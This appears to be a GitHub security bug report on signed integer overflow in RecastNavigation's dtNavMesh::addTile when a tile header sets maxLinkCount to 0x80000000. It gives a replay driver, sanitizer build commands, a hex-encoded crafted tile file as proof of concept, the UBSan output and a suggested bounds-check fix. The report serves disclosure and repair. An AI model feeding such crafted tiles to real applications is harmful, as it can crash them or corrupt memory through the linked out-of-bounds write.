[Bug]Signed integer overflow (links index & neighbour-tile coords): maxLinkCount-1 underflows when maxLinkCount=0x80000000 (CWE-190)

Author: 1820893135-pixelCreated Aug 31, 2026Updated Aug 31, 2026

Summary

dtNavMesh::addTile performs signed int arithmetic on attacker-controlled header fields at Detour/Source/DetourNavMesh.cpp:1010/1090/1092 with no range checks: maxLinkCount - 1 is -2147483648 - 1 at maxLinkCount=0x80000000, and the neighbour-tile coordinate switch underflows at INT_MIN (nx--/ny--). UBSan reports signed-integer-overflow. The :1010 expression is the index arithmetic behind the OOB links[] write. 3 crash samples share this root cause.

Affected versions: RecastNavigation master 9f4ce64458dfae86e1239c525ddc219c4e9e06f1 (all releases to date)
Severity: Medium
CWE: CWE-190 (Integer Overflow or Wraparound)

Detail

Affected code

cpp

tile->links[header->maxLinkCount-1].next = DT_NULL_LINK;   /* 1010: -2147483648 - 1 at maxLinkCount=0x80000000 */
...
case 1: case 2: ... nx--;    /* 1090: underflow at INT_MIN */
...
case 5: ... ny--;            /* 1092: underflow at INT_MIN */

Root cause: maxLinkCount and tile x/y coordinates are parsed verbatim from the untrusted header as int. maxLinkCount - 1 with 0x80000000 performs -2147483648 - 1 (signed overflow) before any bounds check runs; the neighbour-tile coordinate switch decrements an INT_MIN coordinate. The maxLinkCount site is the expression that preconditions the OOB links[] write in the sibling report.

Build the reproducer

Clone RecastNavigation and check out the affected commit:

bash

git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1

Save this standalone replay driver as dbg_addtile.cpp (calls the public dtNavMesh::addTile API on every file argument):

cpp

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"

int main(int argc, char** argv) {
    for (int i = 1; i < argc; ++i) {
        FILE* f = fopen(argv[i], "rb");
        if (!f) return 2;
        fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
        std::vector<unsigned char> buf((size_t)n);
        fread(buf.data(), 1, (size_t)n, f);
        fclose(f);
        dtNavMesh mesh;
        dtNavMeshParams params;
        memset(&params, 0, sizeof(params));
        params.tileWidth = 1.0f; params.tileHeight = 1.0f;
        params.maxTiles = 8; params.maxPolys = 64;
        dtStatus is = mesh.init(&params);
        printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
        unsigned char* b = (unsigned char*)malloc(n);
        memcpy(b, buf.data(), n);
        dtTileRef result = 0;
        dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
        printf("addTile=%08x result=%08x\n", st, result);
        free(b);
    }
    return 0;
}

Compile with ASan + UBSan (dbg_addtile):

bash

clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
  Detour/Source/DetourNode.cpp -o dbg_addtile

For a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:

bash

clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
  -o dbg_addtile_ubonly

POC (tested on the unmodified source)

Save the 260-byte POC:

bash

python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000080000000000000020000000000010000000300000001000000010000000000000001000000020000000100000001000000000000409a99193f6663663f0000000000000000000000000000f0410000f0410000f0410000a040000000000000000000feff000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7dffff7d7d7d7d00000000000000000001000000010200000000000000ffffffffffff00000000000000000000000000000000ffffffffcdcccc3d00000000cdcccc3dcdcdcdcc4c3e00000000cecc4c3e0000803f0000'))"

Run:

bash

./dbg_addtile_ubonly poc.bin

Trigger result

Verified on the unmodified source (UndefinedBehaviorSanitizer):

.../Detour/Source/DetourNavMesh.cpp:1090:13: runtime error: signed integer overflow: -2147483648 - 1 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior .../Detour/Source/DetourNavMesh.cpp:1090:13 in

Replay exit code: 1 (abort/trap)
Deterministic: yes — 3 crash sample(s) (id:000062, id:000069, id:000071) all reproduce the same root cause

Suggested fix

Use wide/unsigned arithmetic or validate before the arithmetic:

cpp

if (header->maxLinkCount == 0 || header->maxLinkCount > maxLinks)
    return DT_FAILURE | DT_INVALID_PARAM;
const int linkCountMinus1 = header->maxLinkCount - 1;   /* now 0..maxLinks-1 */

and keep the neighbour-tile coordinates in an unsigned domain or reject INT_MIN extremes.

Source: recastnavigation/recastnavigation

View original on GitHub View discussion on GitHub